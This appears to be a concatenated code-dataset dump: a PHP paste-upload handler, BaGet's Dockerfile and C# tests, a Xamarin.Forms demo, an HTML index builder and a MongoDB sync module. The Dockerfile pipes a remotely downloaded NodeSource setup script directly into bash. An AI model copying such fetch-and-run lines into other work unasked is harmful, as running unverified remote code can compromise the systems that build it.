NULL : p_hash ( 'upload_password' )); $up->password_hash_version = 1; // << hardcoded $up->raw_file_id = $hashid; $up->upload_date = NULL; $up->user_id = $user_id; $up->is_hidden = $_POST ['upload_hidden'] ?? false; { $edate = $_POST ['expire_seconds'] ?? NULL; if ($edate === NULL) { $edate = 1 * 60 * 60 * 24 * 365; } else { $edate = filter_var ( $edate, FILTER_VALIDATE_INT, [ 'options' => [ 'min_range' => 1, 'max_range' => 1 * 60 * 60 * 24 * 365, 'defualt' => false ] ] ); if (false === $edate) { $edate = 1 * 60 * 60 * 24 * 365; /** @var Response $resp */ $resp->warnings [] = 'the requested expire seconds could not be honored. new expire seconds: ' . $edate . ' ( that means ' . date ( DateTime::ATOM, time () + $edate ) . ')'; } } $up->expire_date = date ( 'Y-m-d H:i:s', time () + $edate ); $resp->expire_date = $up->expire_date; unset ( $edate ); } $up->insertSelf (); $db->commit (); if (! $existed) { file_put_contents ( UPLOAD_DIR . $hashid, $paste ); } else { assert ( ! file_exists ( UPLOAD_DIR . $hashid ) ); } $resp->status_code = 0; $resp->message = 'OK'; $resp->url = urlencode ( $up->id ); if ($up->is_hidden) { $resp->url .= '?hash=' . base64url_encode ( $hash ); } if (! empty ( $up->filename ) && $up->filename !== 'untitled.txt') { $resp->url .= '/' . urlencode ( $up->filename ); } $resp->url = $_SERVER ['REQUEST_SCHEME'] . '://paste.ratma.net/p/' . $resp->url; } /** * insert raw file record * * @param string $hash * @param bool $existed * @return int raw file id */ function rawinsert(string $hash, int $size, bool &$existed = NULL): int { global $db; $stm = $db->prepare ( 'INSERT INTO raw_files (hash,size) VALUES(:hash,:size) ON DUPLICATE KEY UPDATE `last_accessed` = NOW();' ); $stm->execute ( array ( ':hash' => $hash, ':size' => $size ) ); $rc = $stm->rowCount (); // it may return 0 if last_accessed was updated less than a second ago. if ($rc === 2 || $rc === 0) { $existed = true; if ($rc === 0) { // it was less than a second since last_accessed was updated, and // now lastInsertId() will be empty, so... $stm = $db->prepare ( 'SELECT id FROM raw_files WHERE hash = ?' ); $stm->execute ( array ( $hash ) ); return filter_var ( $stm->fetchAll ( PDO::FETCH_NUM ) [0] [0], FILTER_VALIDATE_INT ); } } elseif ($rc === 1) { $existed = false; } else { throw new \LogicException ( 'this INSERT statement should always return 0, or 1 or 2, but returned: ' . return_var_dump ( $rc ) ); } return filter_var ( $db->lastInsertId (), FILTER_VALIDATE_INT ); } function h_file(string $filename): string { $hash = hash_file ( 'tiger160,4', $filename, true ); return $hash; } function h_string(string $str): string { $hash = hash ( 'tiger160,4', $str, true ); return $hash; } class Response { /** @var int $status_code */ public $status_code = 1; /** @var string $message */ public $message = 'unknown error'; /** @var string $url */ public $url = ''; /** @var string $expire_date */ public $expire_date = ''; /** @var string[]|null $warnings */ public $warnings = [ ]; } function err(string $message, int $status_code = 1, int $http_error_code = 400) { global $resp; http_response_code ( $http_error_code ); $resp->status_code = $status_code; $resp->message = 'error: ' . $message; die (); } function validate_api_token(string $token, int &$user_id = NULL): bool { if ($user_id === 1) { // ANONYMOUS_UPLOADS_NEEDS_NO_TOKEN return true; } // TODO: is this timming-attack safe? global $db; $stm = $db->prepare ( 'SELECT id FROM users WHERE api_token = ? AND api_token IS NOT NULL' ); $stm->execute ( array ( $token ) ); $row = $stm->fetch ( PDO::FETCH_NUM ); if (empty ( $row )) { // no such api token... return false; } $user_id = $row [0]; return true; }
e956da4ab7049cf67f9537f292c66c95886df322
[ "Markdown", "PHP" ]
10
Markdown
divinity76/paste.ratma.net
965573c8cb92630f8eed1feae2d7d75ae82f7cff
57b0f9ec83bbd384cea29ac1431730553633c394
refs/heads/master
<file_sep>FROM microsoft/dotnet:2.2-aspnetcore-runtime AS base WORKDIR /app EXPOSE 80 FROM microsoft/dotnet:2.2-sdk AS build RUN curl -sL https://deb.nodesource.com/setup_8.x | bash - RUN apt-get install -y nodejs WORKDIR /src COPY /src . RUN dotnet restore BaGet RUN dotnet build BaGet -c Release -o /app FROM build AS publish RUN dotnet publish BaGet -c Release -o /app FROM base AS final WORKDIR /app COPY --from=publish /app . ENTRYPOINT ["dotnet", "BaGet.dll"] <file_sep>using System; using System.Threading.Tasks; using Microsoft.Extensions.Logging; using Xunit; using Xunit.Abstractions; namespace BaGet.Tests { public class PackageControllerTest { protected readonly ITestOutputHelper Helper; private readonly string IndexUrlFormatString = "v3/package/{0}/index.json"; public PackageControllerTest(ITestOutputHelper helper) { Helper = helper ?? throw new ArgumentNullException(nameof(helper)); } [Theory] [InlineData("id01")] [InlineData("id02")] public async Task AskEmptyServerForNotExistingPackageID(string packageID) { using (var server = TestServerBuilder.Create().TraceToTestOutputHelper(Helper, LogLevel.Error).Build()) { //Ask Empty Storage for a not existings ID var response = await server.CreateClient().GetAsync(string.Format(IndexUrlFormatString, packageID)); Assert.Equal(System.Net.HttpStatusCode.NotFound, response.StatusCode); } } } } <file_sep>using System.Threading.Tasks; using BaGet.Protocol.Internal; using Xunit; namespace BaGet.Protocol.Tests { public class RawSearchClientTests : IClassFixture<ProtocolFixture> { private readonly RawSearchClient _target; public RawSearchClientTests(ProtocolFixture fixture) { _target = fixture.SearchClient; } [Fact] public async Task GetDefaultSearchResults() { var response = await _target.SearchAsync(); Assert.NotNull(response); Assert.Equal(1, response.TotalHits); var result = Assert.Single(response.Data); Assert.Equal("Test.Package", result.PackageId); Assert.Equal("Package Authors", Assert.Single(result.Authors)); Assert.Equal(TestData.RegistrationIndexInlinedItemsUrl, result.RegistrationIndexUrl); } [Fact] public async Task GetDefaultAutocompleteResults() { var response = await _target.AutocompleteAsync(); Assert.NotNull(response); Assert.Equal(1, response.TotalHits); Assert.Equal("Test.Package", Assert.Single(response.Data)); } } } <file_sep>using System; using System.Collections.Generic; using System.Net; using System.Net.Http; using System.Threading.Tasks; using BaGet.Tests.Support; using Microsoft.AspNetCore.TestHost; using Microsoft.Extensions.Logging; using NuGet.Configuration; using NuGet.Protocol; using NuGet.Protocol.Core.Types; using Xunit; using Xunit.Abstractions; namespace BaGet.Tests { /// <summary> /// Uses official nuget client packages to talk to test host. /// </summary> public class NuGetClientIntegrationTest : IDisposable { protected readonly ITestOutputHelper Helper; private readonly TestServer server; private readonly string IndexUrlString = "v3/index.json"; private SourceRepository _sourceRepository; private readonly SourceCacheContext _cacheContext; private HttpSourceResource _httpSource; private HttpClient _httpClient; private readonly string indexUrl; public NuGetClientIntegrationTest(ITestOutputHelper helper) { Helper = helper ?? throw new ArgumentNullException(nameof(helper)); server = TestServerBuilder.Create().TraceToTestOutputHelper(Helper, LogLevel.Error).Build(); var providers = new List<Lazy<INuGetResourceProvider>>(); providers.AddRange(Repository.Provider.GetCoreV3()); providers.Add(new Lazy<INuGetResourceProvider>(() => new PackageMetadataResourceV3Provider())); _httpClient = server.CreateClient(); providers.Insert(0, new Lazy<INuGetResourceProvider>(() => new HttpSourceResourceProviderTestHost(_httpClient))); indexUrl = new Uri(server.BaseAddress, IndexUrlString).AbsoluteUri; var packageSource = new PackageSource(indexUrl); _sourceRepository = new SourceRepository(packageSource, providers); _cacheContext = new SourceCacheContext() { NoCache = true, MaxAge = new DateTimeOffset(), DirectDownload = true }; _httpSource = _sourceRepository.GetResource<HttpSourceResource>(); Assert.IsType<HttpSourceTestHost>(_httpSource.HttpSource); } public void Dispose() { server?.Dispose(); } [Fact] public async Task GetIndexShouldReturn200() { var index = await _httpClient.GetAsync(indexUrl); Assert.Equal(HttpStatusCode.OK, index.StatusCode); return; } [Fact] public async Task IndexResourceHasManyEntries() { var indexResource = await _sourceRepository.GetResourceAsync<ServiceIndexResourceV3>(); Assert.NotEmpty(indexResource.Entries); } [Fact] public async Task IndexIncludesAtLeastOneSearchQueryEntry() { var indexResource = await _sourceRepository.GetResourceAsync<ServiceIndexResourceV3>(); Assert.NotEmpty(indexResource.GetServiceEntries("SearchQueryService")); } [Fact] public async Task IndexIncludesAtLeastOneRegistrationsBaseEntry() { var indexResource = await _sourceRepository.GetResourceAsync<ServiceIndexResourceV3>(); Assert.NotEmpty(indexResource.GetServiceEntries("RegistrationsBaseUrl")); } [Fact] public async Task IndexIncludesAtLeastOnePackageBaseAddressEntry() { var indexResource = await _sourceRepository.GetResourceAsync<ServiceIndexResourceV3>(); Assert.NotEmpty(indexResource.GetServiceEntries("PackageBaseAddress/3.0.0")); } [Fact] public async Task IndexIncludesAtLeastOneSearchAutocompleteServiceEntry() { var indexResource = await _sourceRepository.GetResourceAsync<ServiceIndexResourceV3>(); Assert.NotEmpty(indexResource.GetServiceEntries("SearchAutocompleteService")); } } } <file_sep>using BaGet.Core; using Microsoft.EntityFrameworkCore; using Npgsql; namespace BaGet.Database.PostgreSql { public class PostgreSqlContext : AbstractContext<PostgreSqlContext> { /// <summary> /// The PostgreSql error code for when a unique constraint is violated. /// See: https://www.postgresql.org/docs/9.6/errcodes-appendix.html /// </summary> private const int UniqueConstraintViolationErrorCode = 23505; public PostgreSqlContext(DbContextOptions<PostgreSqlContext> options) : base(options) { } public override bool IsUniqueConstraintViolationException(DbUpdateException exception) { return exception.InnerException is PostgresException postgresException && int.TryParse(postgresException.SqlState, out var code) && code == UniqueConstraintViolationErrorCode; } protected override void OnModelCreating(ModelBuilder builder) { base.OnModelCreating(builder); builder.HasPostgresExtension("citext"); builder.Entity<Package>() .Property(p => p.Id) .HasColumnType("citext"); builder.Entity<PackageDependency>() .Property(p => p.Id) .HasColumnType("citext"); builder.Entity<PackageType>() .Property(p => p.Name) .HasColumnType("citext"); builder.Entity<TargetFramework>() .Property(p => p.Moniker) .HasColumnType("citext"); } } } <file_sep>using System; using System.Threading; using BaGet.Core; using BaGet.Extensions; using McMaster.Extensions.CommandLineUtils; using Microsoft.AspNetCore; using Microsoft.AspNetCore.Hosting; using Microsoft.Extensions.Configuration; using Microsoft.Extensions.DependencyInjection; using Microsoft.Extensions.Hosting; namespace BaGet { public class Program { public static void Main(string[] args) { var app = new CommandLineApplication { Name = "baget", Description = "A light-weight NuGet service", }; app.HelpOption(inherited: true); app.Command("import", import => { import.Command("downloads", downloads => { downloads.OnExecute(async () => { var provider = CreateHostBuilder(args).Build().Services; await provider .GetRequiredService<DownloadsImporter>() .ImportAsync(CancellationToken.None); }); }); }); app.OnExecute(() => { CreateWebHostBuilder(args).Build().Run(); }); app.Execute(args); } public static IWebHostBuilder CreateWebHostBuilder(string[] args) => WebHost.CreateDefaultBuilder(args) .UseStartup<Startup>() .UseKestrel(options => { // Remove the upload limit from Kestrel. If needed, an upload limit can // be enforced by a reverse proxy server, like IIS. options.Limits.MaxRequestBodySize = null; }) .ConfigureAppConfiguration((builderContext, config) => { var root = Environment.GetEnvironmentVariable("BAGET_CONFIG_ROOT"); if (!string.IsNullOrEmpty(root)) config.SetBasePath(root); }); public static IHostBuilder CreateHostBuilder(string[] args) { return new HostBuilder() .ConfigureBaGetConfiguration(args) .ConfigureBaGetServices() .ConfigureBaGetLogging(); } } } <file_sep>using System; using BaGet.Configuration; using BaGet.Core; using BaGet.Core.Server.Extensions; using BaGet.Extensions; using Microsoft.AspNetCore.Builder; using Microsoft.AspNetCore.Hosting; using Microsoft.AspNetCore.SpaServices.ReactDevelopmentServer; using Microsoft.EntityFrameworkCore; using Microsoft.Extensions.Configuration; using Microsoft.Extensions.DependencyInjection; namespace BaGet { public class Startup { public Startup(IConfiguration configuration) { Configuration = configuration ?? throw new ArgumentNullException(nameof(configuration)); } public IConfiguration Configuration { get; } public void ConfigureServices(IServiceCollection services) { services.ConfigureBaGet(Configuration, httpServices: true); // In production, the UI files will be served from this directory services.AddSpaStaticFiles(configuration => { configuration.RootPath = "BaGet.UI/build"; }); } // This method gets called by the runtime. Use this method to configure the HTTP request pipeline. public void Configure(IApplicationBuilder app, IHostingEnvironment env) { if (env.IsDevelopment()) { app.UseDeveloperExceptionPage(); app.UseStatusCodePages(); } // Run migrations if necessary. var options = Configuration.Get<BaGetOptions>(); if (options.RunMigrationsAtStartup && options.Database.Type != DatabaseType.AzureTable) { using (var scope = app.ApplicationServices.CreateScope()) { scope.ServiceProvider .GetRequiredService<IContext>() .Database .Migrate(); } } app.UsePathBase(options.PathBase); app.UseForwardedHeaders(); app.UseSpaStaticFiles(); app.UseCors(ConfigureCorsOptions.CorsPolicy); app.UseOperationCancelledMiddleware(); app.UseMvc(routes => { routes .MapServiceIndexRoutes() .MapPackagePublishRoutes() .MapSymbolRoutes() .MapSearchRoutes() .MapPackageMetadataRoutes() .MapPackageContentRoutes(); }); app.UseSpa(spa => { spa.Options.SourcePath = "../BaGet.UI"; if (env.IsDevelopment()) { spa.UseReactDevelopmentServer(npmScript: "start"); } }); } } }
80ab672896fcb981f01b51f97c60fcb7ea2db471
[ "C#", "Dockerfile" ]
7
Dockerfile
Chang228/BaGet
89c75ee891592f01e843ae97893b939f338b3ca9
f96cfb0841635c1e17c725113444fcae671d500c
refs/heads/master
<file_sep>using System.Collections.Generic; namespace XamarinForms.Controls.Model { public class MockData { public MockData() { this.Kullanicilar = new List<Kullanici>(); Kullanicilar.Add(new Kullanici() { Ad = "Kamil", Email = "<EMAIL>", Soyad = "Fidil" }); Kullanicilar.Add(new Kullanici() { Ad = "Hakkı", Email = "<EMAIL>", Soyad = "Fidil" }); Kullanicilar.Add(new Kullanici() { Ad = "Kerim", Email = "<EMAIL>", Soyad = "Fidil" }); } public List<Kullanici> Kullanicilar { get; set; } } }<file_sep>using System; using System.Collections.Generic; using Xamarin.Forms; using Xamarin.Forms.Xaml; using XamarinForms.Controls.Model; namespace XamarinForms.Controls.Views { [XamlCompilation(XamlCompilationOptions.Compile)] public partial class AnaSayfa : ContentPage { public AnaSayfa() { InitializeComponent(); InitMyComponent(); BindingContext = new MockData(); } private void InitMyComponent() { var red = Color.Red; var orange = Color.FromHex("FF6A00"); var yellow = Color.FromHsla(0.167, 1.0, 0.5, 1.0); var green = Color.FromRgb(38, 127, 0); var blue = Color.FromRgba(0, 38, 255, 255); var indigo = Color.FromRgb(0, 72, 255); var violet = Color.FromHsla(0.82, 1, 0.25, 1); var colors = new List<Color> { red, orange, yellow, green, blue, indigo, violet }; //btnDondur.Clicked += BtnDondur_Clicked; //btnDondur.Clicked += (sender, e) => //{ // angle *= 1.15; // lblMesaj.RotateTo(angle, 1000); //}; btnDondur.Clicked += async (sender, e) => { var rnd = new Random(); angle *= 1.15; lblMesaj.TextColor = colors[rnd.Next(0, colors.Count)]; lblMesaj.RotateTo(angle, 1000); lblMesaj.FontSize = rnd.Next(10, 40); Button btn = (Button)sender; btn.BackgroundColor = colors[rnd.Next(0, colors.Count)]; var tarih = dtpTarih.Date; var span = DateTime.Now - tarih; lblMesaj.Text = $"Fark {span.TotalDays} gündür"; lblMesaj.Text = $"{dtpSaat.Time}"; }; //cmbRenkler.ItemsSource = colors; //cmbRenkler.SelectedIndexChanged += async (sender, e) => // { // if (cmbRenkler.SelectedItem == null) return; // string seciliRenk = cmbRenkler.SelectedItem.ToString(); // await DisplayAlert("Renk Seçme İşlemi", $"Seçtiğiniz Renk: {seciliRenk}", "Tamam", "İptal"); // }; //cmbKisiler.ItemsSource = new MockData().Kullanicilar; //cmbKisiler.ItemsSource = Kisiler; cmbKisiler.SetBinding(Picker.ItemsSourceProperty, "Kullanicilar"); //cmbKisiler.ItemDisplayBinding = new Binding("Ad"); cmbKisiler.SelectedIndexChanged += (sender, e) => { if (cmbKisiler.SelectedItem == null) return; var seciliKisi = cmbKisiler.SelectedItem as Kullanici; lblMesaj.Text = $"{seciliKisi.Ad} {seciliKisi.Soyad} - {seciliKisi.Email}"; }; } private void BtnDondur_Clicked(object sender, EventArgs e) { angle *= 1.15; lblMesaj.RotateTo(angle, 1000); } private static double angle = 25; public async void OnButtonClicked(object sender, EventArgs e) { angle *= 1.15; await lblMesaj.RotateTo(angle, 1000); } } }<file_sep>using System; using System.Collections.Generic; using System.Text; namespace XamarinForms.Controls.Model { public class AlbumModel { public string title { get; set; } public string artist { get; set; } public string url { get; set; } public string image { get; set; } public string thumbnail_image { get; set; } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using Xamarin.Forms; using Xamarin.Forms.Xaml; namespace XamarinForms.Controls.Views { [XamlCompilation(XamlCompilationOptions.Compile)] public partial class KayitForm : ContentPage { public KayitForm() { InitializeComponent(); txtAd.ReturnCommand = new Command(() => txtSoyad.Focus()); txtSoyad.ReturnCommand = new Command(() => txtEmail.Focus()); txtEmail.ReturnCommand = new Command(() => txtPass.Focus()); MessagingCenter.Subscribe<KayitForm, string>(this, "Hi", (sender, arg) => { DisplayAlert("Message Received", "arg=" + arg, "OK"); }); } } }<file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Net.Http; using System.Text; using System.Threading.Tasks; using Newtonsoft.Json; using Xamarin.Forms; using Xamarin.Forms.Xaml; using XamarinForms.Controls.Model; namespace XamarinForms.Controls.Views { [XamlCompilation(XamlCompilationOptions.Compile)] public partial class Liste : ContentPage { public Liste() { InitializeComponent(); LoadData(); ListeyiDoldur(); InitMyComponent(); } private void InitMyComponent() { var moreAction = new MenuItem { Text = "More" }; moreAction.SetBinding(MenuItem.CommandParameterProperty, new Binding(".")); moreAction.Clicked += async (sender, e) => { var mi = ((MenuItem)sender); //Debug.WriteLine("More Context Action clicked: " + mi.CommandParameter); }; var deleteAction = new MenuItem { Text = "Delete", IsDestructive = true }; // red background deleteAction.SetBinding(MenuItem.CommandParameterProperty, new Binding(".")); deleteAction.Clicked += async (sender, e) => { var mi = ((MenuItem)sender); //Debug.WriteLine("Delete Context Action clicked: " + mi.CommandParameter); }; // add to the ViewCell's ContextActions property //ContextActions.Add(moreAction); //ContextActions.Add(deleteAction); AlbumView.ItemSelected += async (sender, e) => { var seciliAlbum = e.SelectedItem as AlbumModel; var sonuc = await DisplayActionSheet($"{seciliAlbum.title} ?", "Cancel", null, "Satınal", "Detay"); // Debug.WriteLine("Action: " + action); switch (sonuc) { case "Satınal": var browser = new WebView(); browser.Source = seciliAlbum.url; var page = new ContentPage(); page.Content = browser; browser.HorizontalOptions = LayoutOptions.FillAndExpand; browser.VerticalOptions = LayoutOptions.FillAndExpand; page.Title = seciliAlbum.title; //Content = browser; await Navigation.PushAsync(page); break; case "Detay": break; default: break; } }; } private void ListeyiDoldur() { AlbumView.ItemsSource = model; } List<AlbumModel> model = new List<AlbumModel>(); private void LoadData() { HttpClient client = new HttpClient(); var response = client.GetAsync(new Uri("https://rallycoding.herokuapp.com/api/music_albums")).Result; var responseString = response.Content.ReadAsStringAsync().Result; model = JsonConvert.DeserializeObject<List<AlbumModel>>(responseString); int a = 0; BindingContext = model; } } }
27b75b5f7f4fbbe380491f75a341bbb5e1582889
[ "C#" ]
5
C#
daglia/XamarinForms.Controls
a0bf7b3859d8b64a387b8b92946cd66f98565598
d0ac3f92e3cbf82e170768b985d3f8ede0375c87
refs/heads/master
<repo_name>yjyang/myshardingfordata<file_sep>/src/main/java/com/fd/myshardingfordata/helper/IConnectionManager.java package com.fd.myshardingfordata.helper; import java.sql.Connection; /** * 数据库连接管理 * * @author 符冬 * */ public interface IConnectionManager { Connection getConnection(); /** * 开启事务 * * @return false 已经开启 */ Boolean beginTransaction(boolean readOnly); /** * 是否已经开启事务 * * @return */ boolean isTransactioning(); /** * 提交事务 */ void commitTransaction(); void closeConnection(); /** * 回滚事务 */ void rollbackTransaction(); /** * 是否自动创建表和索引 * * @return */ boolean isGenerateDdl(); Connection getWriteConnection(); Connection getReadConnection(); /** * * @param readOnly * 是否只读 * @return */ Connection getConnection(boolean readOnly); /** * 控制台打印SQL * * @return */ boolean isShowSql(); /** * 是否只读事务 * * @return */ boolean isTransReadOnly(); } <file_sep>/src/main/java/com/fd/myshardingfordata/helper/TransactionLocal.java package com.fd.myshardingfordata.helper; public class TransactionLocal { /** * 是否开启了事务 */ private Boolean begin = false; /** * 是否只读事务 */ private Boolean readOnly = false; public Boolean getBegin() { return begin; } public void setBegin(Boolean begin) { this.begin = begin; } public Boolean getReadOnly() { return readOnly; } public TransactionLocal(Boolean begin, Boolean readOnly) { super(); this.begin = begin; this.readOnly = readOnly; } public void setReadOnly(Boolean readOnly) { this.readOnly = readOnly; } public TransactionLocal() { super(); } }
dc98dd41586475d8ff555ae0b43ad80e635a996f
[ "Java" ]
2
Java
yjyang/myshardingfordata
465eee7ed1e33d62018116b0c4bfdf6b1d6e28a7
98cd8756e66cff80e7d52925c5f42cf9b557d3f8
refs/heads/master
<repo_name>txcism/txcism.github.io<file_sep>/build.py #生成主页面 #待解决:根据文件创建时间来排序 # import os main_name = 'index' file_head = ''' <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <style type="text/css"> p {font-size:24px; text-indent:120px;} div {font-size:20px; text-indent:240px} a:link {text-decoration:none;} a:visited {text-decoration:none;} a:hover {text-decoration:underline;} a:active {text-decoration:underline;} </style> </head> <body> <p>Just some Notes</p> ''' file_body = '' file_tail = ''' </body> </html> ''' #path 是路径,包括: #dir 是目录 #file 是文件 #all file path def find_all(dirname = os.getcwd(), file_paths={}): for base_path in os.listdir(dirname): path = os.path.join(dirname, base_path) # if os.path.isdir(path): find_all(path) else: file_paths[path] = base_path return file_paths # relative_path def get_relative_paths(paths): relative_paths = {} ind = len(os.getcwd()) + 1 for k, v in paths.items(): relative_paths[k[ind:]] = v return relative_paths # def create_element(path, name): splits = name.split('.') if len(splits) > 1: file_type = splits[-1] file_name = splits[-2] if file_type == 'html' and file_name != main_name: return '<div class="entry"><a href="'+path+'">'+file_name+'</a></div>\n' return '' # def create_body(paths): body = '' for k, v in paths.items(): body += create_element(k, v) print(k, v) return body if __name__=="__main__": paths = find_all() relative_paths = get_relative_paths(paths) file_body = create_body(relative_paths) file = file_head + file_body + file_tail with open(main_name+'.html', encoding='utf-8', mode='w') as f: f.write(file)
a9e6056ff758b2eab0e585463af365bf34d8eaf7
[ "Python" ]
1
Python
txcism/txcism.github.io
9789c24e889de9f066922434e598f194975d17e7
52e6737f4deeb1c5303534c1d9715e4af1b38c35
refs/heads/master
<repo_name>herpiko/akarata<file_sep>/index.js 'use strict'; import _ from 'lodash'; import Morphological from './lib/morphological_utility.js'; const totalSyllables = Morphological.totalSyllables; const removeParticle = Morphological.removeParticle; const removePossesive = Morphological.removePossesive; const removeFirstOrderPrefix = Morphological.removeFirstOrderPrefix; const removeSecondOrderPrefix = Morphological.removeSecondOrderPrefix; const removeSuffix = Morphological.removeSuffix; const ShouldNotTransformTheseWords = ['lari', 'nikah', 'pilah', 'pakai', 'iman']; function stem (word, derivationalStemming = true) { var numberSyllables = totalSyllables(word); if (numberSyllables > 2) { word = removePossesive(word); if (derivationalStemming) word = stemDerivational(word); } if (numberSyllables > 2 && !_.includes(ShouldNotTransformTheseWords, word)) { word = removeParticle(word); if (numberSyllables > 2) word = removeParticle(word); if (derivationalStemming) word = stemDerivational(word); } return word; } function stemDerivational (word) { var numberSyllables = totalSyllables(word); var previousLength = word.length; if (numberSyllables > 2) word = removeFirstOrderPrefix(word); if (previousLength === word.length) { if (numberSyllables > 2) word = removeSecondOrderPrefix(word); if (_.includes(ShouldNotTransformTheseWords, word)) numberSyllables -= 1; if (numberSyllables > 2) word = removeSuffix(word); } return word; } module.exports = { stem }
bf6e7c7a79de8d9b916f2cdfb062592fccfff289
[ "JavaScript" ]
1
JavaScript
herpiko/akarata
7abd2e976bac6881531d2c413c745902adef2f21
4d38e58336d8c6d83801c534917f2263eb8f7a3c
refs/heads/master
<file_sep>// ***************************************************************************************************************************************** // **** PLEASE NOTE: This is a READ-ONLY representation of the actual script. For editing please press the "Develop Script" button. **** // ***************************************************************************************************************************************** Action() { truclient_step("1", "Navigate to 'http://google.comZ\XZ\XZ\XZ\Z\'", "snapshot=Action_1.inf"); truclient_step("3", "search (1)", "snapshot=Action_3.inf"); { truclient_step("3.1", "Click on KDSAJFKJHDG combobox", "snapshot=Action_3.1.inf"); truclient_step("3.2", "Type kek in KDSAJFKJHDG combobox", "snapshot=Action_3.2.inf"); truclient_step("3.3", "Press key Enter on KDSAJFKJHDG combobox", "snapshot=Action_3.3.inf"); } return 0; }
cfd032677b8a32a4d3f0e8991c464f9a2a4576eb
[ "C" ]
1
C
CMPLT-D-ITC/loadrunner-tests
4c299e115f88da0f982bf527813b77fee76a4273
a3e7aae5e6035da0ad7e0568be4b934e45fdc405
refs/heads/master
<file_sep>using System; using Newtonsoft.Json; using Newtonsoft.Json.Converters; namespace Mandrill.Serialization { internal class UnixDateTimeConverter : DateTimeConverterBase { public override void WriteJson(JsonWriter writer, object value, JsonSerializer serializer) { long val; if (value is DateTime) { val = ((DateTime) value).ToUnixTime(); } else { throw new JsonSerializationException("Expected date object value."); } writer.WriteValue(val); } public override object ReadJson(JsonReader reader, Type objectType, object existingValue, JsonSerializer serializer) { if (reader.TokenType != JsonToken.Integer) throw new JsonSerializationException("Wrong Token Type"); var ticks = (long) reader.Value; return ticks.FromUnixTime(); } } }
bddeb547852ed50ba55b3b2a0a3362614b4ed030
[ "C#" ]
1
C#
colincass/Mandrill.net
8ea5db07c62e482a67054ef912d7f1e6be142e8c
134f79ec2568dcfa5e47e8077cd554f4982f776d
refs/heads/master
<repo_name>stazbass/electrosimmod<file_sep>/src/base/CircuitNode.java package base; import java.util.Vector; public class CircuitNode { int x, y; private Vector<CircuitNodeLink> links; boolean internal; CircuitNode() { setLinks(new Vector<CircuitNodeLink>()); } public Vector<CircuitNodeLink> getLinks() { return links; } public void setLinks(Vector<CircuitNodeLink> links) { this.links = links; } } <file_sep>/src/base/CircuitNodeLink.java package base; import elements.CircuitElm; public class CircuitNodeLink { int num; CircuitElm elm; } <file_sep>/src/elements/DCVoltageElm.java package elements; public class DCVoltageElm extends VoltageElement { public DCVoltageElm(int xx, int yy) { super(xx, yy, WF_DC); } public Class getDumpClass() { return VoltageElement.class; } public int getShortcut() { return 'v'; } }
64a0a3a6c0373038ece269a0800942f7715b14af
[ "Java" ]
3
Java
stazbass/electrosimmod
fdd042dde985fd7577d768409cb08ea9a4efbc69
8a1fc2e8f80f0afa75c22bdd58368310402ff277
refs/heads/master
<file_sep>#!/usr/lib/mongosync/environment/bin/python3.6 import errno from math import floor, ceil from errno import ENOENT, EDEADLOCK import os import signal import subprocess import time from datetime import datetime, timezone from bson.objectid import ObjectId import pymongo from pymongo.errors import PyMongoError from pymongo import MongoClient from pymongo.collection import ReturnDocument from functools import wraps import copy """ Custom decorator to easily handle a MongoDB disconnection. We can (should) even use the wrapper in the connect / load method """ def retry_connection(view_func): def custom_kill(config): command = 'pkill -f 9 /usr/bin/mongosync' print('Try to kill the current process with all related threads: ' + str(command)) # Run in background subprocess.run([command], shell=True, stdout=subprocess.PIPE) # We wait a bit, as we hope the umount will work. time.sleep(15) print('It seems the pkill did not work, kill the process itself.') SIGKILL = 9 os.kill(os.getpid(), SIGKILL) def _decorator(*args, **kwargs): new_connection_attempt = False st = time.time() mongo = args[0] while True: try: if new_connection_attempt is True: time.sleep(0.5) mongo.connect() # To easily see the queries done # print('Run mongo query: '+str(args)+' with '+str(kwargs)) response = view_func(*args, **kwargs) return response except PyMongoError as e: dt = time.time() - st if dt >= mongo.configuration.mongo_access_attempt(): print('Problem to execute the query ('+str(e)+'), maybe we are disconnected from MongoDB. ' + 'Max access attempt exceeded ('+str(int(dt))+'s >= '+str(mongo.configuration.mongo_access_attempt())+'). ' + 'Stop the mount.') custom_kill(mongo.configuration) # We want to exit the current loop exit(1) else: print('Problem to execute the query ('+str(e)+'), maybe we are disconnected from MongoDB. Connect and try again.') new_connection_attempt = True return wraps(view_func)(_decorator) """ This class will implement every method that we need to connect to MongoDB, and every query should be run through it (with the exceptions of tests). This is also an easy to handle the disconnection to MongoDB during a short amount of time. """ class Mongo: def __init__(self, configuration, is_primary): self.is_primary = is_primary # Correct value is "True" or "False" self.configuration = configuration retry_connection(self.connect()) """ Establish a connection to mongodb """ def connect(self): host = self.configuration.mongo_host_in_sync() if self.is_primary is False: host = self.configuration.mongo_host_out_of_sync() mongo_path = 'mongodb://' + host self.instance = MongoClient(mongo_path, w=self.configuration.mongo_write_acknowledgement(), j=self.configuration.mongo_write_j()) """ Create a collection, useful for a cappped collection """ @retry_connection def create_collection(self, db, coll, capped=False, max=None, max_size=None): database = self.instance[db] return database.create_collection(coll, capped=capped, max=max, size=max_size) """ Create an index """ @retry_connection def create_index(self, db, coll, options): return self.instance[db][coll].create_index(**options) """ Simply retrieve any document """ @retry_connection def find_one(self, db, coll, query): return self.instance[db][coll].find_one(query) """ A generic find function, which might be problematic to handle if we get a connection error while iterating on it. It needs to be handle on the caller side to avoid any problem. """ @retry_connection def find(self, db, coll, query, skip=0, limit=0, projection=None, sort_field = '_id', sort_order=pymongo.ASCENDING): # cursor_type=pymongo.CursorType.EXHAUST com = self.instance[db][coll].find(query, projection, no_cursor_timeout=True) if skip > 0: com = com.skip(skip) if limit > 0: com = com.limit(limit) if sort_field is not None: com = com.sort(sort_field, sort_order) return com """ A specific find method to read the oplog with a tailable cursor """ @retry_connection def find_oplog(self, query, skip, limit, projection=None): if len(query) == 0: # If no query given, we would be automatically put at the end of the oplog, but we want to start from the begging try: first = self.instance["local"]["oplog.rs"].find().sort('$natural', pymongo.ASCENDING).limit(-1).next() query = {'ts':{'$gt':first['ts']}} except Exception as e: print('Problem while fetching the first element of the oplog: '+str(e)+'. We start from the end instead.') query = {} return self.instance["local"]["oplog.rs"].find(query, projection, no_cursor_timeout=True, cursor_type=pymongo.CursorType.TAILABLE_AWAIT, oplog_replay=True).skip(skip).limit(limit) """ A FindOneAndUpdate which always return the document after modification """ @retry_connection def find_one_and_update(self, db, coll, query, update): result = self.instance[db][coll].find_one_and_update(query, update, return_document=ReturnDocument.AFTER) return result """ A list of ids from a given collection, which could 